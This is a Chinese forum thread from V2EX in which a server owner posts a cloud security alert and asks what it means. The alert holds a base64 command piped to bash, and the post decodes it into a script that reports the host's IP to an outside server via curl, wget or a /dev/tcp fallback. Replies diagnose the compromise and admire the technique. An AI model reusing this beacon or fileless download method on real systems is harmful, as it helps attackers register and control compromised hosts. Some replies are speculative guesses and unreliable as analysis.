V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
ipeony
V2EX  ›  信息安全

收到条阿里云的告警,看不懂是做什么用的,请教一下

  •  
  •   ipeony · 2021-10-29 09:43:01 +08:00 · 9970 次点击
    这是一个创建于 903 天前的主题,其中的信息可能已经有所发展或是发生改变。

    告警信息

    进程异常行为-可疑编码命令待处理
    备注
    该告警由如下引擎检测发现:
    用户名: chrony
    命令行: sh -c echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKaWYgWyAteCAiJChjb21tYW5kIC12IGN1cmwpIiBdOyB0aGVuCiAgY3VybCAtbyAvZGV2L251bGwgMjEyLjE0Ny4zMi4zNS9nY2FlLzEwMS4zNy43OC4xMDgKZWxpZiBbIC14ICIkKGNvbW1hbmQgLXYgd2dldCkiIF07IHRoZW4KICB3Z2V0IC1xIC1PLSAyMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOAplbHNlCiAgX19jdXJsIGh0dHA6Ly8yMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOCA+L2Rldi9udWxsCmZpCgo= | base64 -d | bash
    进程路径: /bin/dash
    进程 ID: 26803
    父进程文件路径: /usr/bin/perl
    父进程 ID: 26798
    事件说明: 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。
    

    解密后的脚本

    #!/bin/bash
    function __curl() {
      read proto server path <<<$(echo ${1//// })
      DOC=/${path// //}
      HOST=${server//:*}
      PORT=${server//*:}
      [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    
      exec 3<>/dev/tcp/${HOST}/$PORT
      echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
      (while read line; do
       [[ "$line" == $'\r' ]] && break
      done && cat) <&3
      exec 3>&-
    }
    
    if [ -x "$(command -v curl)" ]; then
      curl -o /dev/null 212.147.32.35/gcae/101.37.78.108
    elif [ -x "$(command -v wget)" ]; then
      wget -q -O- 212.147.32.35/gcae/101.37.78.108
    else
      __curl http://212.147.32.35/gcae/101.37.78.108 >/dev/null
    fi
    
    51 条回复    2024-04-16 20:09:29 +08:00
    janxin
        1
    janxin  
       2021-10-29 09:44:27 +08:00
    明显被黑了...
    ipeony
        2
    ipeony  
    OP
       2021-10-29 09:46:31 +08:00
    @janxin #1 服务器到是没啥,没明白这进程再做什么,开个 shell 后面连过来
    bfdh
        3
    bfdh  
       2021-10-29 09:52:22 +08:00
    就发了一个 http 请求,其他啥都没干?
    ipeony
        4
    ipeony  
    OP
       2021-10-29 09:56:23 +08:00
    @bfdh #3 没找到其他的,服务器上就跑着几个 docker 应用,这是阿里云报的,这台机器连个公网 IP 都没分配
    number
        5
    number  
       2021-10-29 10:13:57 +08:00   ❤️ 45
    学到了在没有 curl 和 wget 的情况下
    还可以用这种方式下载文件
    makia98
        6
    makia98  
       2021-10-29 10:15:01 +08:00
    检查一下 docker 镜像有没有问题,我有过服务器被一个 redis 镜像当肉鸡的经历
    ipeony
        7
    ipeony  
    OP
       2021-10-29 10:38:42 +08:00
    @makia98 #6 嗯,redis 这个以前见过。这台机器主要跑 gitlab ,拿官方镜像跑的,快两年没动过了
    lqc09
        8
    lqc09  
       2021-10-29 10:58:55 +08:00
    你已经被干了,一般是要下载 shell 上线脚本统一管理像你这种的肉鸡
    lqc09
        9
    lqc09  
       2021-10-29 11:00:03 +08:00
    gitlab 最近刚好报了一个漏洞
    holinhot
        10
    holinhot  
       2021-10-29 12:34:42 +08:00
    @bfdh 估计是当肉鸡 CC 别人
    holinhot
        11
    holinhot  
       2021-10-29 12:36:55 +08:00
    还能 dev/tcp/ 这么玩,学到了
    illl
        12
    illl  
       2021-10-29 13:14:25 +08:00 via iPhone
    @ipeony gitlab 存在 rce 漏洞,赶紧修了吧
    GrayXu
        13
    GrayXu  
       2021-10-29 13:17:14 +08:00
    /dev/tcp/的一万种用法之……
    mingl0280
        14
    mingl0280  
       2021-10-29 13:26:44 +08:00 via Android
    /dev/tcp 还能这么用
    ipeony
        15
    ipeony  
    OP
       2021-10-29 13:32:20 +08:00
    @illl #12 嗯,已经升级过了,本来就用 docker 跑的
    cweijan
        16
    cweijan  
       2021-10-29 14:18:20 +08:00
    这个脚本很酷啊
    jptx
        17
    jptx  
       2021-10-29 14:20:57 +08:00
    学到了,手动建立 TCP 连接,拼接 HTTP 请求头,下载文件,赶紧记笔记。我最近每次碰到各种奇技淫巧都是从各种木马里学到的
    vinle
        18
    vinle  
       2021-10-29 14:22:38 +08:00   ❤️ 4
    我感觉楼主可以忽略这个东西,让入侵者继续操作,因为从脚本来,看他的操作确实有点骚有点秀了,让他玩下去说不定会有更有趣的事情发生!
    a22271001
        19
    a22271001  
       2021-10-29 14:25:44 +08:00
    @vinle 然后楼主的数据库空了,只留下一段加密钱包地址(doge
    villivateur
        20
    villivateur  
       2021-10-29 14:32:45 +08:00 via Android
    感觉好多系统没有 /dev/tcp 这个设备
    mikywei
        21
    mikywei  
       2021-10-29 14:33:37 +08:00
    所以云厂商无时无刻不在检测着用户的数据吗?真没安全感,感觉能随时取走用户的任何文件似的。
    Alexonx
        22
    Alexonx  
       2021-10-29 14:47:32 +08:00 via Android
    @villivateur 这个并不是一个设备,应该是 bash 提供的 feature ,允许通过这种方式发起 socket 连接。实际上这个设备应该是不存在的.....用其他 shell 也不一定能跑
    ipeony
        23
    ipeony  
    OP
       2021-10-29 14:52:31 +08:00
    @vinle #18 老实说我没发现有什么影响,当然可能数据泄漏光了(然而也没啥敏感的东西),或者被拿来挖矿(也没发现这个迹象),又或者上面有人提到的拿来 CC 别人(已经被我精致访问外网了
    sola97
        24
    sola97  
       2021-10-29 14:53:13 +08:00
    这个 curl 保存了
    cz5424
        25
    cz5424  
       2021-10-29 15:02:02 +08:00
    值得学习的一个 bash
    FreeEx
        26
    FreeEx  
       2021-10-29 15:05:20 +08:00
    收藏了,为了这个 curl 脚本
    ETiV
        27
    ETiV  
       2021-10-29 15:09:57 +08:00 via iPhone   ❤️ 2
    非常魔性的写法,sentry docker-compose 部署方式下,健康检查就是用这种方式实现的…装个 curl 就这么难吗🤦‍♂️

    https://github.com/getsentry/onpremise/blob/master/docker-compose.yml#L298
    Radiation
        28
    Radiation  
       2021-10-29 15:17:22 +08:00
    反弹 shell 用的
    maskerTUI
        29
    maskerTUI  
       2021-10-29 15:26:30 +08:00
    写这脚本的人是高手
    zwgf
        30
    zwgf  
       2021-10-29 15:34:35 +08:00
    自己实现 curl ,这个黑阔可以
    scyuns
        31
    scyuns  
       2021-10-29 15:38:04 +08:00
    学习了 跟着黑阔学技术
    oser
        32
    oser  
       2021-10-29 15:41:12 +08:00
    有意思,学习了
    wellsc
        33
    wellsc  
       2021-10-29 15:42:53 +08:00
    哈哈哈
    kwanzaa
        34
    kwanzaa  
       2021-10-29 16:10:07 +08:00
    哈哈哈哈 学到了
    labulaka521
        35
    labulaka521  
       2021-10-29 16:36:59 +08:00
    为什么 linux 上没有 /dev/tcp 这个呢
    labulaka521
        36
    labulaka521  
       2021-10-29 16:52:13 +08:00
    kugouo4
        37
    kugouo4  
       2021-10-29 17:02:15 +08:00
    v2ex 之跟着黑客学技术,妈妈再也不用担心容器里没有 curl 和 wget 了
    cxy2244186975
        38
    cxy2244186975  
       2021-10-29 17:31:44 +08:00
    乌云幸存白帽子路过……
    radishear
        39
    radishear  
       2021-10-29 18:01:31 +08:00
    学到了
    ericwood067
        40
    ericwood067  
       2021-10-29 18:02:39 +08:00   ❤️ 1
    这个脚步并没有单独干什么,只是把你的 IP 地址 101.37.78.108 上报给了他们的服务器 http://212.147.32.35/gcae/,主要是看看有没有后续操作。
    cache
        41
    cache  
       2021-10-29 21:31:21 +08:00
    @labulaka521 /dev/tcp 是 bash 内置的 和 linux 没关系,换 zsh 就跑不起来了
    Davic1
        42
    Davic1  
       2021-10-29 22:10:35 +08:00
    @ericwood067 #40 请教一下~ 哪里可以判断出 101 那个就是楼主的 Host IP 呢?
    ericwood067
        43
    ericwood067  
       2021-10-29 22:27:54 +08:00   ❤️ 2
    @Davic1 这个脚本的作用是和主机 212.147.32.35 建立了一条 tcp 链接,然后使用 httpGet 方法访问了 /gcae/101.37.78.108 这个路径,212 主机返回的结果直接被丢进了 /dev/null 里,所以肯定不是想从 212 主机获取什么东西;/gcae 应该是 212 主机上部署的一个服务的 gateway ,所以 101 应该就是楼主的 Host Ip 。不然做这个操作就没有任何道理了。
    Davic1
        44
    Davic1  
       2021-10-29 23:20:25 +08:00
    @ericwood067 #43 感谢~
    zouri
        45
    zouri  
       2021-10-29 23:43:28 +08:00
    各种奇怪的用法真是活到老学到老
    pjntt
        46
    pjntt  
       2021-10-30 00:05:44 +08:00
    感觉这个是防盗版的做法吧?校验 IP 是否被授权了?
    IMengXin
        47
    IMengXin  
       2021-10-30 09:32:28 +08:00
    阿里云一直警告我 frps.exe ,很有可能与木马、病毒、黑客行为有关。
    scukmh
        48
    scukmh  
       2021-10-30 16:48:49 +08:00
    学到了
    spinecho
        49
    spinecho  
       2021-10-30 21:01:30 +08:00
    m 学到了
    hukei
        50
    hukei  
       7 天前
    核心就是 /dev/tcp
    tyit
        51
    tyit  
       3 天前
    这个脚本的作用是从指定的服务器( IP 地址为 212.147.32.35 )下载或获取一些数据。它首先尝试使用 curl 命令来获取数据,如果 curl 不可用,则尝试使用 wget 命令,最后如果 wget 也不可用,则使用自定义的__curl 函数来获取数据。

    具体来说,它执行以下步骤:

    定义了一个__curl 函数,用于通过 HTTP 协议从指定的服务器获取数据。这个函数会解析输入的 URL ,提取出协议、服务器地址和路径,并使用/dev/tcp 特殊文件来建立 TCP 连接到服务器,并发送 HTTP GET 请求,最后将响应内容输出到标准输出。

    然后,它检查系统中是否安装了 curl 命令,如果安装了,则使用 curl 来获取数据,将数据写入到/dev/null ,即丢弃该数据,因为 curl 的输出已经被重定向到/dev/null ,所以用户不会看到输出。

    如果 curl 不可用,则检查系统中是否安装了 wget 命令,如果安装了,则使用 wget 来获取数据,并将数据输出到标准输出( STDOUT )。

    如果既没有 curl 也没有 wget ,则调用自定义的__curl 函数来获取数据,将数据输出到/dev/null ,同样是为了不显示数据到用户终端。

    综合来说,这个脚本的目的是从指定的服务器获取数据,但是更倾向于使用 curl 或 wget 命令来实现。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2765 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 36ms · UTC 12:30 · PVG 20:30 · LAX 05:30 · JFK 08:30
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.